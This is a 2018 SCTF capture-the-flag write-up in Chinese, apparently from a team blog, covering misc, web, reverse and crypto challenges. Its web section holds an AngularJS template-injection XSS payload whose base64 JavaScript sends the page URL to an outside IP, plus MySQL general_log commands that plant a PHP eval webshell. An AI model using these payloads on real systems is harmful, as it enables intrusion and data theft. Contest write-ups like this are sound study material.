2018SCTF-wp

  1. sctf
    1. misc
      1. 签到
      2. 侧信道初探
      3. 神奇的Modbus
      4. 神秘的交易
      5. 肥宅快乐题
    2. web
      1. 新的建议板
      2. easiest web - phpmyadmin
    3. reverse
      1. Script In Script
      2. Where is my 13th count?
    4. CRYPTO
      1. it may contain ‘flag

sctf

被虐杀,web明年再战,感谢小组四人的努力,缺一个都是不完整的。加油!

[TOC]

misc

签到

侧信道初探

以下图为例,使用 SPA 就可以从芯片的功耗曲线中可以读出十六进制的关键数据。
SPA图示

SCTF{0110111010}

神奇的Modbus

modbus协议

接下来tcp流追踪
搜索sctf未果
继续慢慢寻找

SCTF{Easy_Mdbus}

Uploading file..._wk2cyf491

神秘的交易

logicdata拖进Logic里面,分析嗅探得到的波形图

0x400x310x10

SCTF{403110}

肥宅快乐题

使用硕思闪客精灵 反编译flash

在动作一栏寻找得到一段会话

得到

U1lDe0YzaVpoYWlfa3U0aWxlX1QxMTF9

base64解码

SYC{F3iZhai_ku4ile_T111}

web

新的建议板

右键查看源码得到 AngularJS 版本1.4.6
模板注入
https://www.anquanke.com/post/id/86093
http://seaii-blog.com/index.php/2017/09/02/68.html

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);eval(atob(`dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly8xNjUuMjI3LjU4LjEwOTo4ODg4Lz9sb2NhdGlvbj0nK2RvY3VtZW50LmxvY2F0aW9uLmhyZWY7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTs=`));alert(3);//');}}

本地可以xss,vps收不到bot的请求

easiest web - phpmyadmin

参照了网上的文章利用日志的方法写入shell

思路:就是利用mysql的一个日志文件。这个日志文件每执行一个sql语句就会将其执行的保存。我们将这个日志文件重命名为我们的shell.php然后执行一条sql带一句话木马的命令。然后执行菜刀连接

首先查看本地的写shell地址

SET global general_log_file=’D:/phpStu/WWW/shell.php’;

select “<?php @eval($_POST[‘shell’]);?>”;

shell连上进入c盘获取flag

reverse

Script In Script

本来想着写脚本爆破的,考虑到时间的原因采用了取巧的方法,因为flag的很多字符都是可以看代码写出来的,所以本地把js先解密了,搭了一个环境,根据js的变量值进行测试

flag:sctf{5cr1Pt_In_ScrIpT!!}

Where is my 13th count?

题目要求是让白球吃到13个黄色方块得到13分,但是一共只有12个能吃
使用相关调试软件发现游戏会闪退,判断有反调试
根据suctf的一道题目

分析Cheat Engine_Data\Managed下的Assembly-CSharp.dll文件,反调试都在这个dll文件下完成
发现了这些东西

交叉分析找到反调试函数然后直接patch

使用游戏辅助神器Cheat Engine修改游戏的分数内存即可

CRYPTO

it may contain ‘flag

低解密指数攻击

import gmpy2
import time

def continuedFra(x, y):
    cF = []
    while y:
        cF += [x / y]
        x, y = y, x % y
    return cF
def Simplify(ctnf):
    numerator = 0
    denominator = 1
    for x in ctnf[::-1]:
        numerator, denominator = denominator, x * denominator + numerator
    return (numerator, denominator)

def calculateFrac(x, y):
    cF = continuedFra(x, y)
    cF = map(Simplify, (cF[0:i] for i in xrange(1, len(cF))))
    return cF

def solve_pq(a, b, c):
    par = gmpy2.isqrt(b * b - 4 * a * c)
    return (-b + par) / (2 * a), (-b - par) / (2 * a)
def wienerAttack(e, n):
    for (d, k) in calculateFrac(e, n):
        if k == 0: continue
        if (e * d - 1) % k != 0: continue
        phi = (e * d - 1) / k
        p, q = solve_pq(1, n - phi + 1, n)
        if p * q == n:
            return abs(int(p)), abs(int(q))
    print 'not find!'
time.clock()
n = 0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bf
e = 0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939
c = 0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
p, q = wienerAttack(e, n)
print '[+]Found!'
print '  [-]p =',p
print '  [-]q =',q
print '  [-]n =',p*q
d = gmpy2.invert(e,(p-1)*(q-1))
print '  [-]d =', d
print '  [-]m is:' + '{:x}'.format(pow(c,d,n)).decode('hex')
print '\n[!]Timer:', round(time.clock(),2), 's'
print '[!]All Done!'


print n
```

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:2018SCTF-wp

文章字数:779

本文作者:Mang0

发布时间:2018-06-20, 22:40:40

最后更新:2018-11-02, 21:52:10

原始链接:http://mang0.me/archis/f4e3f3ec/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏